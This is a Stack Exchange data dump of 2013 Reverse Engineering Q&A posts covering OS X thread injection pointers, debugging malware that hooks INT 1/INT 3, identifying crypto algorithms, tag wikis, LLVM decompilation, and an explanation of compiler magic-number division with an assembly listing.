  <row Id="1414" PostTypeId="1" AcceptedAnswerId="1415" CreationDate="2013-03-31T01:32:02.497" Score="13" ViewCount="3117" Body="&lt;p&gt;Much reverse engineering has been done on Windows over the years leading to great undocumented functionality, such as using &lt;code&gt;NtCreateThreadEx&lt;/code&gt; to &lt;a href=&quot;http://securityxploded.com/ntcreatethreadex.php&quot;&gt;inject&lt;/a&gt; threads across sessions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OSX the topic of thread injection seems relatively uncharted.  With the operating system being so incredibly large, where can I begin looking in order to uncover the functionality I desire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if someone were to ask me this about Windows, I would expect an answer telling me to begin reverse engineering &lt;code&gt;CreateRemoteThread&lt;/code&gt; or to start looking at how the kernel creates user threads and point them into &lt;code&gt;ntoskrnl.exe&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="189" LastEditDate="2013-03-31T03:00:07.707" LastActivityDate="2014-05-07T19:16:15.677" Title="Thread Injection on OSX" Tags="|osx|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1415" PostTypeId="2" ParentId="1414" CreationDate="2013-03-31T01:39:12.617" Score="11" Body="&lt;p&gt;Admittedly, I don't know much about OSX, or even Linux.  But I would suggest looking at the &lt;a href=&quot;http://www.gnu.org/software/gdb/current/&quot;&gt;GDB&lt;/a&gt; source code.  GDB somehow is able to attach to running processes in order to debug them.  I would imagine this would, at least, provide similar functionality that you're looking for and prove a decent place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a system call, it appears that &lt;code&gt;ptrace&lt;/code&gt; is how GDB might do it.  Also, &lt;a href=&quot;http://www.alexonlinux.com/how-debugger-works&quot;&gt;here's&lt;/a&gt; a nice overview of how debuggers work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it seems that Uninformed wrote an &lt;a href=&quot;http://uninformed.org/index.cgi?v=4&amp;amp;a=3&quot;&gt;article&lt;/a&gt; that covers this topic somewhat.  In the article they discuss:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A lot of people seem to move to Mac OS X from a Linux or BSD&#xA;  background and therefore expect the ptrace() syscall to be useful.&#xA;  However, unfortunately, this isn't the case on Mac OSX. For some&#xA;  ungodly reason, Apple decided to leave ptrace() incomplete and unable&#xA;  to do much more than take a feeble attempt at an anti-debug mechanism&#xA;  or single step the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also from that article, it looks like &lt;code&gt;thread_create_running&lt;/code&gt; might be the function you're looking for.  &lt;a href=&quot;http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/thread_create_running.html&quot;&gt;Link&lt;/a&gt; to the man page.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-03-31T02:18:13.893" LastActivityDate="2013-03-31T02:18:13.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1416" PostTypeId="5" CreationDate="2013-03-31T02:18:45.457" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/OS_X&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;OS X&lt;/strong&gt; previously &lt;strong&gt;Mac OS X&lt;/strong&gt;, is a series of Unix-based graphical interface operating systems developed, marketed, and sold by Apple Inc. It is designed to run exclusively on Mac computers, having been pre-loaded on all Macs since 2002. It was the successor to Mac OS 9, released in 1999, the final release of the &quot;classic&quot; Mac OS, which had been Apple's primary operating system since 1984. The first version released was Mac OS X Server 1.0 in 1999, and a desktop version, Mac OS X v10.0 &quot;Cheetah&quot; followed on March 24, 2001. Releases of OS X are named after big cats: for example, OS X v10.8 is referred to as &quot;Mountain Lion&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-31T12:40:00.943" LastActivityDate="2013-03-31T12:40:00.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostTypeId="4" CreationDate="2013-03-31T02:18:45.457" Score="0" Body="An Unix-based operating system originally forked from NextSTEP and developed by Apple Inc. MacOS X runs a Darwin kernel together with Apple Inc. utilities." OwnerUserId="151" LastEditorUserId="189" LastEditDate="2013-12-21T15:12:43.037" LastActivityDate="2013-12-21T15:12:43.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostTypeId="5" CreationDate="2013-03-31T02:21:34.217" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.microsoft.com/net/&quot; rel=&quot;nofollow&quot;&gt;.NET Framework&lt;/a&gt; is not specific to any one programming language. The C#, VB.NET, C++/CLI, and F# programming languages from Microsoft, as well as many other languages from other vendors, all use the &lt;em&gt;same&lt;/em&gt; .NET Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .NET Framework includes a large library of functions as part of the Base Class Library (BCL), including those related to user interface design, data access, database connectivity, cryptography, development of web applications, mathematical algorithms, and network communications. This extensive library simplifies development and makes it easy to rapidly develop new applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, questions like &quot;How do I do file I/O in C#?&quot; should really be &quot;How do I do file I/O with .NET?&quot;. Because such a question concerns the file I/O libraries provided by the .NET Framework, it should be tagged with both the &lt;a href=&quot;/questions/tagged/.net&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged '.net'&quot; rel=&quot;tag&quot;&gt;.net&lt;/a&gt; tag, &lt;em&gt;and&lt;/em&gt; with the &lt;a href=&quot;/questions/tagged/c%23&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'c#'&quot; rel=&quot;tag&quot;&gt;c#&lt;/a&gt; tag, to indicate that you'd like the answer to be written in the C# programming language.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T14:13:23.393" LastActivityDate="2013-04-01T14:13:23.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostTypeId="4" CreationDate="2013-03-31T02:21:34.217" Score="0" Body="The .NET framework is a software framework designed mainly for the Microsoft Windows operating system. It includes an implementation of the Base Class Library, Common Language Runtime (commonly referred to as CLI) and Dynamic Language Runtime. It supports many programming languages, including C#, VB.NET, F# and C++.&#xD;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-31T12:40:04.583" LastActivityDate="2013-03-31T12:40:04.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostTypeId="1" AcceptedAnswerId="1433" CreationDate="2013-03-31T02:48:00.997" Score="16" ViewCount="2662" Body="&lt;p&gt;I understand that on x86, &lt;code&gt;INT 1&lt;/code&gt; is used for single-stepping and &lt;code&gt;INT 3&lt;/code&gt; is used for setting breakpoints, and some other interrupt (usually 0x80 for Linux and 0x2E for Windows) used to be used for system calls.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a piece of malware hooks the Interrupt Descriptor Table (IDT) and substitutes its own &lt;code&gt;INT 1&lt;/code&gt; and &lt;code&gt;INT 3&lt;/code&gt; handlers that perform system call-like functionality, how can I use a debugger to trace its execution?  Or am I stuck with using static-analysis tools?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="188" LastEditDate="2013-04-02T21:42:58.700" LastActivityDate="2013-04-02T21:42:58.700" Title="Malware Hooking INT 1 and INT 3" Tags="|malware|debuggers|dynamic-analysis|kernel-mode|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1421" PostTypeId="5" CreationDate="2013-03-31T03:03:17.737" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-31T03:03:17.737" LastActivityDate="2013-03-31T03:03:17.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostTypeId="4" CreationDate="2013-03-31T03:03:17.737" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-31T03:03:17.737" LastActivityDate="2013-03-31T03:03:17.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1423" PostTypeId="1" AcceptedAnswerId="1424" CreationDate="2013-03-31T03:12:12.127" Score="19" ViewCount="21748" Body="&lt;p&gt;I'm analyzing some software that appears to encrypt its communications over the network, but it does not appear to be SSL.  How can I easily determine what encryption algorithm its using, and maybe find the key?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="36" LastEditDate="2013-03-31T05:37:42.493" LastActivityDate="2013-04-02T17:11:20.510" Title="Determine Encryption Algorithm" Tags="|tools|cryptography|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1424" PostTypeId="2" ParentId="1423" CreationDate="2013-03-31T03:14:19.633" Score="13" Body="&lt;p&gt;Maybe check out &lt;a href=&quot;http://www.hexblog.com/?p=27&quot;&gt;this&lt;/a&gt; IDA plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you locate the crypto functions, doing a cross-reference in IDA should allow you to see where the functions are called and likely the key is nearby.  If you can set a break-point on those functions and see what is being passed in for the key, this, of course, would be the easiest way.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-03-31T03:14:19.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostTypeId="2" ParentId="1423" CreationDate="2013-03-31T03:39:34.630" Score="7" Body="&lt;p&gt;I have not used it but there is an open source tool called &lt;a href=&quot;https://code.google.com/p/aligot/&quot;&gt;Aligot&lt;/a&gt; that may help when the encryption algorithms have been obfuscated. According to its authors, Aligot can idenfity TEA, MD5, RC4 and AES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aligot does have an important disclaimer: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aligot was build as a proof-of-concept to illustrate the principles&#xA;  described in the &lt;a href=&quot;http://www.loria.fr/~calvetjo/papers/ccs12.pdf&quot;&gt;associated paper&lt;/a&gt;. In particular it is not currently&#xA;  suitable to automatically analyze large programs. If you are&#xA;  interested in such project, please contact the author ;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Despite the disclaimer, the results indicated in the paper suggest that Aligot  is worth looking into.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2013-03-31T03:39:34.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostTypeId="5" CreationDate="2013-03-31T04:28:32.663" Score="0" Body="&lt;p&gt;References for anti-debugging:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Peter Ferrie's &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;nofollow&quot;&gt;“Ultimate” Anti-Debugging Reference&lt;/a&gt; (PDF, 147 pages) contains &lt;strong&gt;many&lt;/strong&gt; anti-debugs, whether they're hardware or API based...&lt;/li&gt;&#xA;&lt;li&gt;Walied Assar's &lt;a href=&quot;http://waleedassar.blogspot.com/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt; shows his researches, which are focused on finding new anti-debugs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;other (maybe redundant) resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nicolas Fallière's &lt;a href=&quot;http://www.symantec.com/connect/articles/windows-anti-debug-reference&quot; rel=&quot;nofollow&quot;&gt;Windows Anti-Debug reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;OpenRCE's &lt;a href=&quot;http://www.openrce.org/reference_library/anti_reversing&quot; rel=&quot;nofollow&quot;&gt;Anti Reverse Engineering Techniques Database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Daniel Plohmann's &lt;a href=&quot;https://bitbucket.org/fkie_cd_dare/simplifire.antire&quot; rel=&quot;nofollow&quot;&gt;AntiRE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rodrigo Branco's &lt;a href=&quot;http://research.dissect.pe/docs/blackhat2012-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;Scientific but Not Academical Overview of Malware Anti-Debugging, Anti-Disassembly and Anti-&#xA;VM Technologies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mark Vincent Yason's &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf&quot; rel=&quot;nofollow&quot;&gt;Art Of Unpacking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2013-03-31T12:39:55.757" LastActivityDate="2013-03-31T12:39:55.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1427" PostTypeId="4" CreationDate="2013-03-31T04:28:32.663" Score="0" Body="Any techniques or tricks used to prevent, mitigate or detect an attempt to run the software within a debugging environment." OwnerUserId="36" LastEditorUserId="53" LastEditDate="2013-12-21T15:09:12.760" LastActivityDate="2013-12-21T15:09:12.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostTypeId="1" AcceptedAnswerId="1439" CreationDate="2013-03-31T08:27:00.800" Score="20" ViewCount="7904" Body="&lt;p&gt;LLVM IR is a fairly high-level, typed bitcode which can be directly executed by LLVM and compiled to JIT on the fly. It would not surprise me if a new executable format or programming language was designed directly on top of LLVM, to be executed as if it were an interpreted language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this regard, I am curious as to the state of the art on LLVM decompilation. Because it is a typed bitcode specifically designed to be easy to analyze, one might expect that it is relatively easy to decompile (or at least reassemble into a more readable or logical form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling turns up &lt;a href=&quot;http://www.cdl.uni-saarland.de/publications/theses/moll_bsc.pdf&quot;&gt;this BSc thesis&lt;/a&gt; which does a relatively rudimentary job, but seemingly few other leads. I might have expected this &lt;a href=&quot;http://www.cdl.uni-saarland.de/people/hack/publications.php&quot;&gt;fellow's supervisor&lt;/a&gt; to have done some further research in this area, but it seems his focus is more towards the compiler design area of research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there research projects, commercial prototypes, or even any kinds of active research being done in the field of LLVM decompilation?&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2013-04-01T06:46:29.837" Title="What is the state of art in LLVM IR decompilation?" Tags="|decompilation|llvm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1429" PostTypeId="2" ParentId="324" CreationDate="2013-03-31T08:41:36.503" Score="5" Body="&lt;p&gt;In addition to the fine suggestions in the other answers, here are some suggestions specific to audio:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you know how long the playtime of the audio is (roughly), calculate the approximate bitrate of the audio file. This will tell you whether it is compressed or not, and the compression ratio can tell you roughly what you might be dealing with. For example, 4kbps~32kbps is indicative of a speech codec, 64~256kbps is ordinary compressed audio (AAC/MP3/Ogg Vorbis), 512~3072kbps likely means a lossless codec, and substantially higher means uncompressed or weakly compressed (e.g. ADPCM, PCM) audio. In turn, this may clue you into what it contains (speech, music, sound effects, etc.).&lt;/li&gt;&#xA;&lt;li&gt;If you suspect it might be weakly compressed, try opening the file up as a raw PCM stream in your favorite audio editor (e.g. Audacity) and listening to it. There will probably be an insane amount of noise if it's compressed in any way, but some formats (e.g. ADPCM) can still be audible in this circumstance if they are relatively constant bitrate. I've used this tactic in the past to work out the spoken contents of a (still unknown) audio sample I received. Indeed, this tactic can even reveal the contents of poorly encrypted, uncompressed files by exploiting human pattern recognition.&lt;/li&gt;&#xA;&lt;li&gt;Check for metadata chunks in the file -- &lt;code&gt;strings&lt;/code&gt;, a quick examination of the first and last chunks of the file in a hex editor, or just searching for strings you might expect to see.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2013-03-31T08:41:36.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostTypeId="2" ParentId="1397" CreationDate="2013-03-31T09:26:13.403" Score="41" Body="&lt;h1&gt;First&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Unfortunately we don't seem to have MathJax turned on in this stackexchange so the math parts below are pretty horribly formatted. I'm also far from a mathematician so the notation may be off in some places.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Understanding the magic number and code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The goal of the code above is to rewrite a division into a multiplication because division takes more clock cycles than a multiplication. It's in the area of about twice as many cycles, depending very much on CPU. So we need to find a nice branchless way of doing that. If we branch we're very likely to lose to simply doing division.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to simply realize that division is the same as multiplication with the inverse of the number, i.e &lt;img src=&quot;https://i.stack.imgur.com/yhMdN.gif&quot; alt=&quot;&quot;&gt;. The problem is that &lt;img src=&quot;https://i.stack.imgur.com/V3EXb.gif&quot; alt=&quot;&quot;&gt; is a pretty poor number to store as an integer. So we need to multiply both the divisor and dividend by some number. Since we're operating on 32-bit numbers and we get multiplication results in 64-bit numbers we get the best precision with &lt;img src=&quot;https://i.stack.imgur.com/GAbp5.gif&quot; alt=&quot;&quot;&gt; and we also avoid overflow issues. So we basically get &lt;img src=&quot;https://i.stack.imgur.com/66B6M.gif&quot; alt=&quot;&quot;&gt;. Now that fractional part is what causes us issues because it will cause rounding errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's try to formalize this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CXkJ4.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;img src=&quot;https://i.stack.imgur.com/85yOF.gif&quot; alt=&quot;&quot;&gt; is our multiplicand, e.g &lt;img src=&quot;https://i.stack.imgur.com/GKdkC.gif&quot; alt=&quot;&quot;&gt;, or really any number &lt;img src=&quot;https://i.stack.imgur.com/4sVUA.gif&quot; alt=&quot;&quot;&gt; but &lt;img src=&quot;https://i.stack.imgur.com/mb7TH.gif&quot; alt=&quot;&quot;&gt; works very well with our register sizes as we can simply discard the lower 32-bit register. &lt;img src=&quot;https://i.stack.imgur.com/p5VNy.gif&quot; alt=&quot;&quot;&gt; is the number you must add to make &lt;img src=&quot;https://i.stack.imgur.com/85yOF.gif&quot; alt=&quot;&quot;&gt; evenly divisible by &lt;img src=&quot;https://i.stack.imgur.com/FObhE.gif&quot; alt=&quot;&quot;&gt;. &lt;img src=&quot;https://i.stack.imgur.com/31LSW.gif&quot; alt=&quot;&quot;&gt; is the number we wish to divide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can rewrite the equation above, as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S56kc.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which illustrates the point that we have our dividend &lt;img src=&quot;https://i.stack.imgur.com/8dTDm.gif&quot; alt=&quot;&quot;&gt; divided by our divisor &lt;img src=&quot;https://i.stack.imgur.com/7kJpl.gif&quot; alt=&quot;&quot;&gt; and then an error factor of &lt;img src=&quot;https://i.stack.imgur.com/lKedW.gif&quot; alt=&quot;&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Studying our original equation of &lt;img src=&quot;https://i.stack.imgur.com/ZP83c.gif&quot; alt=&quot;&quot;&gt; it's clear that we can affect very little. &lt;img src=&quot;https://i.stack.imgur.com/QvBxq.gif&quot; alt=&quot;&quot;&gt; needs to be a power of 2, can't be too large or we risk an overflow and can't be too small as it has a direct negative effect on our error factor &lt;img src=&quot;https://i.stack.imgur.com/W87D3.gif&quot; alt=&quot;&quot;&gt;. &lt;img src=&quot;https://i.stack.imgur.com/J5UAz.gif&quot; alt=&quot;&quot;&gt; directly depends on &lt;img src=&quot;https://i.stack.imgur.com/tFARj.gif&quot; alt=&quot;&quot;&gt; and &lt;img src=&quot;https://i.stack.imgur.com/IS3SB.gif&quot; alt=&quot;&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's try &lt;img src=&quot;https://i.stack.imgur.com/qAwQ9.gif&quot; alt=&quot;&quot;&gt; which gives a maximum error fraction of &lt;img src=&quot;https://i.stack.imgur.com/W87D3.gif&quot; alt=&quot;&quot;&gt; with the maximum value of &lt;img src=&quot;https://i.stack.imgur.com/boZtv.gif&quot; alt=&quot;&quot;&gt; being &lt;img src=&quot;https://i.stack.imgur.com/Sppdl.gif&quot; alt=&quot;&quot;&gt;, so &lt;img src=&quot;https://i.stack.imgur.com/5GbVt.gif&quot; alt=&quot;&quot;&gt;, unfortunately this is not less than &lt;img src=&quot;https://i.stack.imgur.com/Q9RYV.gif&quot; alt=&quot;&quot;&gt; so we can get rounding errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll increase the exponent of &lt;img src=&quot;https://i.stack.imgur.com/IAyRL.gif&quot; alt=&quot;&quot;&gt; to &lt;img src=&quot;https://i.stack.imgur.com/yqG5j.gif&quot; alt=&quot;&quot;&gt;, which gives &lt;img src=&quot;https://i.stack.imgur.com/SV70X.gif&quot; alt=&quot;&quot;&gt;, maximum error fraction &lt;img src=&quot;https://i.stack.imgur.com/CN6ya.gif&quot; alt=&quot;&quot;&gt; which is less than &lt;img src=&quot;https://i.stack.imgur.com/wOBpa.gif&quot; alt=&quot;&quot;&gt;. This means that our multiplicand is &lt;img src=&quot;https://i.stack.imgur.com/vNO9f.gif&quot; alt=&quot;&quot;&gt; which is not less than or equal to the maximum signed value we can store in a 32-bit register (&lt;img src=&quot;https://i.stack.imgur.com/up1Y5.gif&quot; alt=&quot;&quot;&gt;). So we instead make the multiplicand &lt;img src=&quot;https://i.stack.imgur.com/aaEyn.gif&quot; alt=&quot;&quot;&gt;. As a side note, thanks to the magic of two's complement when we subtract &lt;img src=&quot;https://i.stack.imgur.com/vwBYh.gif&quot; alt=&quot;&quot;&gt; the number &lt;img src=&quot;https://i.stack.imgur.com/jZA7P.gif&quot; alt=&quot;&quot;&gt; is &lt;img src=&quot;https://i.stack.imgur.com/jBOeP.gif&quot; alt=&quot;&quot;&gt; which is &lt;img src=&quot;https://i.stack.imgur.com/xwp6c.gif&quot; alt=&quot;&quot;&gt; when interpreted as an unsigned number. But we're doing signed arithmetic here. So we need to fix the final expression by adding &lt;img src=&quot;https://i.stack.imgur.com/2xny2.gif&quot; alt=&quot;&quot;&gt;. This also only solves the problem for &lt;img src=&quot;https://i.stack.imgur.com/PevID.gif&quot; alt=&quot;&quot;&gt;, for negative numbers we will be off by 1 so we need to add 1 if we have a negative number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the explanation for the constant in the multiplication and how to arrive at it. Now let's look at the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Load -1840700269&#xA;mov    ecx,0x92492493&#xA;&#xA;; Load n&#xA;mov    eax,edi&#xA;&#xA;; n * -1840700269&#xA;imul   ecx&#xA;&#xA;; add n to compensate for 2^32 subtraction&#xA;add    edx,edi&#xA;&#xA;; check the sign bit of our result&#xA;mov    ecx,edx&#xA;shr    ecx,0x1f&#xA;&#xA;; divide by 2^2 to compensate for us using y=2^34 instead of 2^32&#xA;sar    edx,0x2&#xA;&#xA;mov    eax,edx&#xA;; add the value of the sign bit to the final result&#xA;add    eax,ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Calculating divisor from magic number and code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I have not proven this mathematically, however if you want to recover the divisor from an assembly dump such as the one you showed we can do some simple mental excercises. First we need to realize that the following holds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JscHH.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;img src=&quot;https://i.stack.imgur.com/dAO7x.gif&quot; alt=&quot;&quot;&gt; is the adjustment we made in order to bring the value into the range of a 32-bit value. From the code we can devise the following, the right shift by two means that we have &lt;img src=&quot;https://i.stack.imgur.com/65UtM.gif&quot; alt=&quot;&quot;&gt;, &lt;img src=&quot;https://i.stack.imgur.com/5UvZn.gif&quot; alt=&quot;&quot;&gt;, &lt;img src=&quot;https://i.stack.imgur.com/NV0rJ.gif&quot; alt=&quot;&quot;&gt;, &lt;img src=&quot;https://i.stack.imgur.com/TR2L6.gif&quot; alt=&quot;&quot;&gt; is unknown. This means that we're missing one variable in order to perform a perfect solution. However the effect of &lt;img src=&quot;https://i.stack.imgur.com/TR2L6.gif&quot; alt=&quot;&quot;&gt; if negligible as its purpose is to bring the divisor as close to its integer value as possible. This means that the solution can be found by solving&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nke6h.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh1mk.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example with divisor 31337 which has the multiplicand magic number 140346763 and right shifts 10 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JuH6C.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Finally&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a complete mathematical breakdown of how this works, including all the appropriate proofs and algorithms for calculating the magic numbers, shifts and adds, see &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321842685&quot; rel=&quot;noreferrer&quot;&gt;Hacker's Delight&lt;/a&gt;, chapter 10-3.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="2417" LastEditDate="2014-01-02T22:11:19.580" LastActivityDate="2014-01-02T22:11:19.580" CommentCount="4" CommunityOwnedDate="2013-03-31T20:06:09.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="1431" PostTypeId="2" ParentId="1423" CreationDate="2013-03-31T10:26:36.417" Score="9" Body="&lt;p&gt;For a bit more advanced way of automatic crypto identification see Felix Gröbert's work on&#xA;&lt;a href=&quot;https://kerckhoffs.googlecode.com/files/Groebert-Automatic.Identification.of.Cryptographic.Primitives.in.Software.pdf&quot;&gt;Automatic Identification of Cryptographic Primitives in Software&lt;/a&gt; . He uses a pintool to dynamically instrument the code which can allow to even recover keys. The code is also &lt;a href=&quot;https://code.google.com/p/kerckhoffs/&quot;&gt;available&lt;/a&gt;. The repository contains other tools used in comparison , such as PeID and OllyDBG plugins.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-03-31T10:26:36.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1432" PostTypeId="2" ParentId="1411" CreationDate="2013-03-31T10:43:14.593" Score="4" Body="&lt;p&gt;It's much easier and reliable IMO to identify a checksum algorithm than determining it by whiteboxing (ie, comparing buffer and its checksum), except if the checksum is trivial, which you might quickly find out by altering the last byte of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set a memory read breakpoint on the part of the data that is likely to be the checksum value (the end?) as soon as possible, then execute further&lt;/li&gt;&#xA;&lt;li&gt;scroll through each function in IDA to flag those that are likely to be checksums - complex ones have very different kind of ASM usually.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if none, maybe the checksum is inlined and a simple one - you might want to search for shift/xor/rol sequences&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-31T11:04:35.597" LastActivityDate="2013-03-31T11:04:35.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1433" PostTypeId="2" ParentId="1420" CreationDate="2013-03-31T13:33:57.893" Score="9" Body="&lt;p&gt;I would suggest this as a solution &lt;a href=&quot;http://accessroot.com/arteam/site/download.php?view.185&quot;&gt;http://accessroot.com/arteam/site/download.php?view.185&lt;/a&gt; as I had similar problem in one of crackmes. What I did was to write my own hooks for SoftICE to bypass ring0 hooks of int 3 and int 1. Could be useful for your problem. Interesting section is &quot;SoftICE comes to the rescue&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-03-31T13:33:57.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1434" PostTypeId="5" CreationDate="2013-03-31T20:02:55.840" Score="0" Body="&lt;p&gt;LLVM is a compiler infrastructure, consisting of a collection of reusable, extendable compiler technologies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any question specifically involving LLVM compilers, bitcode, or disassembly can have this tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official website: &lt;a href=&quot;http://llvm.org/&quot; rel=&quot;nofollow&quot;&gt;http://llvm.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="1328" LastEditDate="2013-03-31T20:36:12.733" LastActivityDate="2013-03-31T20:36:12.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
